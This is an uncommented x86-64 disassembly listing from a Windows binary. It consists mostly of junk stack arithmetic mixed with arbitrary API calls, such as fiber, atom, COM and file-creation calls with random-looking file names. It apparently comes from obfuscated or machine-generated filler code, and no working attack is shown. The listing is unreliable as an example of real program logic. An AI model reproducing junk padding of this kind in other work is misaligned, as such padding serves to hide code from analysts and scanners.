mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov qword [rsp + 0xb488], rax
mov rax, qword [rsp + 0xb468]
mov rcx, qword [rsp + 0xb1e0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb268], rax
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa878]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb298]
mov rdx, qword [rsp + 0xb420]
mov rcx, qword [rcx]
or rcx, rdx
cmp rax, rcx
jge 0x14001871d
mov rax, qword [rsp + 0xb350]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5758]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5764], eax
mov rax, qword [rsp + 0xb430]
mov ecx, dword [rsp + 0x4bd4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x57ac], eax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b9c]
add eax, ecx
mov word [rsp + 0x1bc8], ax
movzx eax, byte [rsp + 0x378]
mov rcx, qword [rsp + 0xb390]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401a803a], al
mov rax, qword [rsp + 0xb2f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb358]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b90], ax
jmp 0x140018778
mov rax, qword [rsp + 0xb298]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb1f8]
shl rax, cl
mov rcx, qword [rsp + 0x8ff0]
mov rdx, qword [rsp + 0xb280]
mov rdx, qword [rdx]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
je 0x140018778
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rsp + 0xb280]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb298]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb258]
mov rcx, qword [rsp + 0xb1f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xac40], rax
mov rax, qword [rsp + 0xb390]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x37c]
add eax, ecx
mov byte [rsp + 0x37d], al
lea rax, [0x1401a838c]
mov qword [rsp + 0xb490], rax
mov rax, qword [rsp + 0xb308]
mov rcx, qword [rsp + 0xb220]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb1e0], rax
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb270]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa878]
mov rdx, qword [rsp + 0xb298]
mov rdx, qword [rdx]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jne 0x1400188df
lea rax, [rsp + 0xb350]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xb2d0]
lea r8, [rsp + 0xb388]
mov edx, 0xa2
mov rcx, qword [rsp + 0xb200]
call qword [sym.imp.ole32.dll_CoGetClassObject]
mov dword [rsp + 0x5778], eax
mov eax, dword [rsp + 0x5764]
mov ecx, dword [rsp + 0x57b8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a78], eax
mov rax, qword [rsp + 0xb2f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb288]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x12f0], ax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
mov rcx, qword [0x1401e34e0]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401a8398], ax
lea rdx, [rsp + 0x5754]
mov rcx, qword [rsp + 0xb498]
call qword [sym.imp.ole32.dll_CoGetCallContext]
mov dword [rsp + 0x5844], eax
mov edx, dword [rsp + 0x56fc]
mov rax, qword [rsp + 0xb308]
mov rcx, qword [rax]
call fcn.14015c130
mov rax, qword [rsp + 0xab18]
mov qword [rsp + 0xb4a0], rax
movsx eax, byte [rsp + 0x37a]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x37f], al
lea rax, [rsp + 0x1ba8]
mov qword [rsp + 0xb4a8], rax
movsx eax, word [rsp + 0x1bd0]
movsx ecx, word [rsp + 0x1bcc]
sub eax, ecx
mov word [rsp + 0x1b9c], ax
mov rax, qword [rsp + 0xb370]
mov eax, dword [rax]
mov dword [rsp + 0x5848], eax
mov rax, qword [rsp + 0xb490]
mov rcx, qword [rsp + 0xb430]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x57ac], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb228]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8d90], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.9ZOU_av8Kf0ru6wC
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb4b0], rax
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
mov byte [rsp + 0x380], al
mov rax, qword [rsp + 0xb2f0]
movzx eax, word [rax]
mov word [0x1401e34cc], ax
mov rax, qword [rsp + 0xb3e8]
movzx eax, byte [rax]
mov rcx, qword [0x1401e34d0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x37d], al
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
mov rcx, qword [0x1401e34e0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xde4], ax
mov rax, qword [rsp + 0xb280]
mov rcx, qword [0x1401e3500]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb488], rax
mov rax, qword [rsp + 0xb320]
mov rcx, qword [rsp + 0xb270]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ff0], rax
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov qword [rsp + 0xb4b8], rax
mov rax, qword [rsp + 0xb350]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x57b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5798], eax
movzx ecx, word [rsp + 0x1bbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bd8], ax
mov eax, dword [rsp + 0x56fc]
mov dword [rsp + 0x584c], eax
movzx eax, byte [rsp + 0x37b]
mov rcx, qword [rsp + 0xb390]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x232], al
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [0x1401a8374]
or eax, ecx
mov word [0x1401a839c], ax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x37f]
sar eax, cl
mov byte [rsp + 0x379], al
movzx eax, word [rsp + 0x1b90]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0xb280]
movabs rcx, 0x766e60f48a2b9d
mov rax, qword [rax]
imul rax, rcx
mov qword [rsp + 0xab18], rax
movzx eax, word [rsp + 0xde4]
mov word [rsp + 0x1bdc], ax
mov rax, qword [rsp + 0xb308]
mov rcx, qword [rsp + 0xb220]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb228], rax
mov rax, qword [rsp + 0xb370]
mov ecx, dword [rsp + 0x5764]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x571c], eax
lea rax, [rsp + 0x584c]
mov qword [rsp + 0xb4c0], rax
movzx eax, byte [rsp + 0x380]
mov byte [rsp + 0x381], al
mov rax, qword [rsp + 0xb308]
mov rax, qword [rax]
mov rcx, qword [0x1401e34e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb220]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0xb228]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
ja 0x14015b1f7
mov rax, qword [rsp + 0xb4b8]
mov rcx, qword [rsp + 0xb400]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb228], rax
lea rdx, [rsp + 0x1aee0]
mov rcx, qword [rsp + 0xb238]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x5770], eax
mov rax, qword [rsp + 0xb370]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x54ec]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x49fc], eax
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb268]
shr rax, cl
mov rcx, qword [rsp + 0xb408]
mov rdx, qword [rsp + 0xb1e0]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
jbe 0x140018db5
mov eax, dword [rsp + 0x5754]
mov ecx, dword [rsp + 0x584c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bd4], eax
movsx eax, byte [rsp + 0x37a]
movsx ecx, byte [rsp + 0x379]
and eax, ecx
mov rcx, qword [rsp + 0xb1f0]
mov byte [rcx], al
lea rdx, [rsp + 0xb1c8]
lea rcx, [rsp + 0xb280]
call qword [sym.imp.ole32.dll_CoQueryAuthenticationServices]
mov dword [rsp + 0x5850], eax
movzx eax, word [rsp + 0x1b84]
mov rcx, qword [rsp + 0xb288]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x188c], ax
movzx eax, byte [rsp + 0x115]
movzx ecx, byte [rsp + 0x381]
add eax, ecx
mov byte [0x1401a803a], al
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bdc]
add eax, ecx
mov word [rsp + 0x1104], ax
mov rax, qword [rsp + 0xb370]
mov ecx, dword [rax]
call fcn.14015bee0
mov cx, 0x5c
call qword [sym.imp.USER32.dll_IsCharAlphaW]
mov dword [rsp + 0x57ec], eax
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rsp + 0xb280]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9bb8], rax
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ff0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xab18], rax
mov rax, qword [rsp + 0xb430]
mov rcx, qword [rsp + 0xb490]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5754], eax
mov rax, qword [rsp + 0xb370]
mov rcx, qword [rsp + 0xb350]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x571c]
mov edx, dword [rsp + 0x5848]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x140018e34
lea rax, [rsp + 0x5764]
mov qword [rsp + 0xb4c8], rax
lea rax, [rsp + 0xb268]
mov qword [rsp + 0xb4d0], rax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b94]
sar eax, cl
mov word [rsp + 0x1bb0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
movzx eax, byte [0x1401a803a]
mov byte [rsp + 0x382], al
movzx eax, word [rsp + 0x1b84]
movzx ecx, word [rsp + 0xb30]
xor eax, ecx
mov word [0x1401e34d8], ax
mov rax, qword [rsp + 0xb298]
mov rcx, qword [rsp + 0xb280]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9bb8], rax
mov rax, qword [rsp + 0xb258]
cqo
mov rcx, qword [rsp + 0xb280]
idiv qword [rcx]
mov qword [rsp + 0x8ff0], rax
movzx eax, word [rsp + 0x1bc0]
mov word [rsp + 0x1be0], ax
mov rax, qword [rsp + 0x8d90]
movzx ecx, al
mov rax, qword [rsp + 0xb1e0]
shl rax, cl
mov qword [rsp + 0xb4b8], rax
mov eax, dword [rsp + 0x5818]
mov ecx, dword [rsp + 0x57b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e08], eax
lea rax, [rsp + 0xe7]
mov qword [rsp + 0xb4d8], rax
mov rax, qword [rsp + 0xb4c0]
mov rcx, qword [rsp + 0xb490]
mov eax, dword [rax]
imul eax, dword [rcx]
mov rcx, qword [rsp + 0xb430]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x37b]
movzx ecx, byte [rsp + 0x2fe]
and eax, ecx
mov byte [rsp + 0x378], al
movsx eax, word [rsp + 0x1104]
movsx ecx, word [rsp + 0x1bb8]
add eax, ecx
mov word [0x1401a83a0], ax
lea rax, [rsp + 0x1be0]
mov qword [rsp + 0xb4e0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb4e8], rax
movzx eax, byte [rsp + 0x381]
mov rcx, qword [rsp + 0xb390]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x382], al
mov rax, qword [rsp + 0xb260]
movzx eax, word [rax]
mov word [rsp + 0x1be4], ax
mov rax, qword [rsp + 0xb370]
mov rcx, qword [rsp + 0xb350]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x465c], eax
mov rax, qword [rsp + 0xb4c0]
mov ecx, dword [rsp + 0x4bd4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb4c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d90]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb308]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0xb1e0]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
ja 0x14001905a
mov rax, qword [rsp + 0xb228]
mov qword [rsp + 0xb4f0], rax
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
mov rcx, qword [0x1401e34e0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1ba0], ax
mov rax, qword [0x1401e34d0]
movzx eax, byte [rax]
mov byte [rsp + 0x383], al
lea rcx, [rsp + 0x18590]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx eax, word [rsp + 0x1b84]
mov word [0x1401e34ca], ax
jmp 0x1400190df
mov rax, qword [rsp + 0xb4e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ba8]
add eax, ecx
movzx ecx, word [rsp + 0xb30]
mov rdx, qword [rsp + 0xb4a8]
movzx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jne 0x1400190df
mov rax, qword [rsp + 0xb298]
mov rcx, qword [0x1401e3500]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xb280]
mov qword [rcx], rax
mov r9d, 1
lea r8, [rsp + 0xb308]
mov edx, 0xf0
mov rcx, qword [rsp + 0xb4f8]
call qword [sym.imp.USER32.dll_GetDlgItemInt]
mov dword [rsp + 0x4bd4], eax
mov rax, qword [rsp + 0xb350]
mov ecx, dword [rax]
call fcn.14015bee0
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9bb8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb258], rax
mov rax, qword [rsp + 0x8ea0]
mov rcx, qword [rsp + 0xb280]
mov qword [rsp + 0xb500], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb500]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa488], rax
mov rax, qword [rsp + 0xb4e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb4a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x12f0], ax
movsx eax, byte [rsp + 0xe7]
movsx ecx, byte [rsp + 0x37f]
sub eax, ecx
mov byte [rsp + 0x379], al
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov qword [rsp + 0xb508], rax
mov rax, qword [rsp + 0xb4c8]
mov ecx, dword [rsp + 0x4a78]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x57b8], eax
mov eax, dword [rsp + 0x584c]
mov dword [rsp + 0x5854], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.9SzbGWTZ6x8vUycDEKEZaorn
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb510], rax
lea rcx, [rsp + 0x19370]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
mov rcx, qword [0x1401e34e0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401a83a0], ax
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb390]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x381], al
mov rax, qword [rsp + 0xb4e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb30]
add eax, ecx
mov rcx, qword [rsp + 0xb4a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x380]
mov rcx, qword [rsp + 0xb3e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ed], al
lea rax, [rsp + 0x1534]
mov qword [rsp + 0xb518], rax
mov rax, qword [rsp + 0xb490]
mov rcx, qword [rsp + 0xb4c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5854], eax
lea rcx, str.Xh_FSVeK_aKh
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1bd8], ax
lea rax, [rsp + 0xb1e0]
mov qword [rsp + 0xb520], rax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [rsp + 0xb370]
mov ecx, dword [rsp + 0x4e08]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4a78], eax
mov rax, qword [rsp + 0xb350]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5808]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb370]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x4e08]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jg 0x140019467
mov edx, 0x6607a3
mov rcx, qword [rsp + 0xb1d0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x5858], eax
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0xb298]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb1f8], rax
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x383]
sar eax, cl
mov byte [0x1401a803b], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rax, qword [rsp + 0xb358]
movzx eax, word [rax]
mov word [rsp + 0x1be8], ax
lea rax, [rsp + 0x1bb8]
mov qword [rsp + 0xb528], rax
lea rcx, [rsp + 0x19310]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov ecx, 0xd
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x57f0], eax
movsx eax, byte [0x1401a8038]
movsx ecx, byte [rsp + 0x37a]
shl eax, cl
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0xb280]
mov rax, qword [rax]
mov qword [rsp + 0xb530], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.xHPCn8iEWwOekfArfJ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb538], rax
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8d90]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb400], rax
mov edx, 0x377558
mov rcx, qword [rsp + 0xb510]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x5748], eax
mov eax, dword [rsp + 0x57ac]
imul eax, dword [rsp + 0x56fc]
mov dword [rsp + 0x5854], eax
lea rax, [rsp + 0x4e08]
mov qword [rsp + 0xb540], rax
mov rax, qword [rsp + 0xb3e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb390]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x382], al
movsx eax, word [rsp + 0x1104]
movsx ecx, word [rsp + 0x1bb0]
add eax, ecx
mov word [0x1401a8398], ax
mov rax, qword [rsp + 0xb4a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1300], ax
mov rcx, qword [rsp + 0xb230]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xb530]
imul rax, qword [rsp + 0xa878]
mov qword [rsp + 0x8ff0], rax
movzx ecx, word [rsp + 0x1bbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bec], ax
lea rax, [rsp + 0xb270]
mov qword [rsp + 0xb548], rax
mov rax, qword [rsp + 0xb388]
movzx eax, byte [rax]
mov byte [rsp + 0x384], al
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb400]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb308]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5854]
mov ecx, dword [rsp + 0x4bd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x57ac], eax
mov eax, dword [rsp + 0x5848]
mov dword [rsp + 0x585c], eax
mov rax, qword [rsp + 0xb518]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb528]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1bb8], ax
mov rax, qword [rsp + 0xb288]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401a83a4], ax
mov rax, qword [0x1401e3500]
mov rcx, qword [rsp + 0xa878]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9840], rax
movzx ecx, word [rsp + 0x1bc4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bc4], ax
lea rax, [rsp + 0x37a]
mov qword [rsp + 0xb550], rax
mov rax, qword [rsp + 0xb520]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb408]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb220]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x91a0]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
jbe 0x140019718
mov rax, qword [rsp + 0xb2f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb358]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1be0], ax
movzx eax, byte [rsp + 0x232]
movzx ecx, byte [rsp + 0x33b]
xor eax, ecx
mov byte [rsp + 0x383], al
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb4d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb408], rax
mov rax, qword [rsp + 0xb430]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x57ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x584c], eax
mov rax, qword [rsp + 0xb4c8]
mov rcx, qword [rsp + 0xb350]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5798], eax
lea rax, [rsp + 0xb558]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0xb558]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x5814]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x57ac]
mov r8d, 4
mov edx, 0x36
mov rcx, qword [rsp + 0xb560]
call qword [sym.imp.USER32.dll_ScrollDC]
mov dword [rsp + 0x57ec], eax
mov rax, qword [rsp + 0xb528]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bc8]
sub eax, ecx
mov word [rsp + 0x1bd0], ax
movzx eax, word [rsp + 0x1ba8]
mov word [0x1401e34c8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0xb358]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b8c]
sub eax, ecx
movzx ecx, word [rsp + 0x1ba8]
movzx edx, word [rsp + 0x1b84]
add ecx, edx
cmp eax, ecx
jge 0x140019856
mov rax, qword [rsp + 0xb260]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb528]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1534], ax
movzx eax, byte [0x1401a803a]
mov byte [rsp + 0x385], al
mov rax, qword [rsp + 0xb280]
mov rcx, qword [rsp + 0xb420]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xab58], rax
mov rax, qword [rsp + 0xb4a0]
mov qword [rsp + 0xb568], rax
mov rax, qword [rsp + 0xb4c0]
mov rcx, qword [rsp + 0xb490]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x584c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.DO55cmiVdvs_rMQNXhevLnTOiIR1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb570], rax
mov rax, qword [rsp + 0xb4d0]
mov rcx, qword [rsp + 0xb308]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb508], rax
jmp 0x140019911
mov rax, qword [0x1401e3500]
mov rcx, qword [rsp + 0xb368]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb298]
mov rdx, qword [rsp + 0xb530]
imul rdx, qword [rcx]
mov rcx, rdx
cmp rax, rcx
jne 0x140019911
mov eax, dword [rsp + 0x5818]
mov ecx, dword [rsp + 0x585c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x49fc], eax
movsx eax, word [rsp + 0x1ba0]
movsx ecx, word [rsp + 0x1bd0]
sar eax, cl
mov word [rsp + 0x1104], ax
movsx eax, word [rsp + 0x1bb4]
mov rcx, qword [rsp + 0xb260]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1401e34e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb550]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x379], al
mov rcx, qword [rsp + 0xb578]
call qword [sym.imp.GDI32.dll_AbortPath]
mov dword [rsp + 0x5814], eax
movzx eax, byte [rsp + 0x1ed]
mov byte [rsp + 0x386], al
mov rax, qword [rsp + 0xb488]
mov rcx, qword [rsp + 0xab18]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ea0], rax
mov rax, qword [0x1401e34e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb528]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd44], ax
mov rax, qword [rsp + 0xb4d0]
mov rcx, qword [rsp + 0xb220]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8bd8], rax
mov eax, dword [0x1401a8388]
mov ecx, dword [rsp + 0x5754]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x56fc], eax
movzx eax, word [rsp + 0x1b90]
movzx ecx, word [rsp + 0x1be8]
sub eax, ecx
mov rcx, qword [rsp + 0xb4e0]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0xb2f0]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jne 0x140019ab5
mov rax, qword [rsp + 0xb540]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a78]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x585c], eax
mov rax, qword [rsp + 0xb390]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x115]
sub eax, ecx
mov byte [rsp + 0x1ed], al
movzx eax, word [rsp + 0x12f0]
movzx ecx, word [rsp + 0x1b84]
sub eax, ecx
mov word [0x1401a8394], ax
mov rax, qword [rsp + 0xb1f8]
mov rcx, qword [rsp + 0xb4a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb270], rax
mov rax, qword [rsp + 0xb2f0]
movzx eax, word [rax]
movzx ecx, word [0x1401e34c8]
sar eax, cl
mov word [rsp + 0x12f0], ax
lea rdx, [rsp + 0xb528]
mov rcx, qword [rsp + 0xb580]
call qword [sym.imp.USER32.dll_GetTitleBarInfo]
mov dword [rsp + 0x57a4], eax
mov r9, qword [rsp + 0xb4a0]
mov rax, qword [rsp + 0xb4c8]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x585c]
mov rax, qword [rsp + 0xb548]
mov rcx, qword [rax]
call fcn.14015c1e0
mov rax, qword [0x1401e34d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x383]
shl eax, cl
mov byte [rsp + 0x386], al
mov rax, qword [rsp + 0xb260]
movzx eax, word [rax]
mov word [rsp + 0x1bf0], ax
